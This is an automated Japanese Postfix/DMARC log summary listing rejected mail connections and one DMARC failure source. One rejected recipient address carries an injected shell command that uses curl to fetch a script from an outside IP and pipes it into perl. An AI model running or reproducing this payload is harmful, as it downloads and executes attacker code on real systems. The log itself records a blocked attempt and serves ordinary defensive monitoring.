Postfix/DMARC ログ集計レポート 2026-09-12 04:00

Postfix 拒否ログ 上位理由

• 450 4.7.1 Client host rejected: cannot find your reverse hostname, [185.169.4.235]: 1
• 450 4.7.1 Client host rejected: cannot find your reverse hostname, [133.242.17.171]: 1
• 450 4.7.1 Client host rejected: cannot find your reverse hostname, [196.251.121.190]: 1
• 554 5.7.1 <x: Service status change: localhost $(curl -sS http://154.70.152.216/zed | perl &) changed from stopped to running@cve.invalid>: Relay access denied: 1
• 450 4.7.1 Client host rejected: cannot find your reverse hostname, [193.189.172.66]: 1
• 450 4.7.1 Client host rejected: cannot find your reverse hostname, [91.92.243.212]: 1
• 450 4.7.1 Client host rejected: cannot find your reverse hostname, [59.106.220.50]: 1
• 450 4.7.1 Client host rejected: cannot find your reverse hostname, [91.92.242.60]: 1
• 450 4.7.1 Client host rejected: cannot find your reverse hostname, [27.102.115.141]: 1
• 450 4.7.1 Client host rejected: cannot find your reverse hostname, [59.106.208.216]: 1

DMARC 失敗送信元 上位

1. 183.181.88.16：1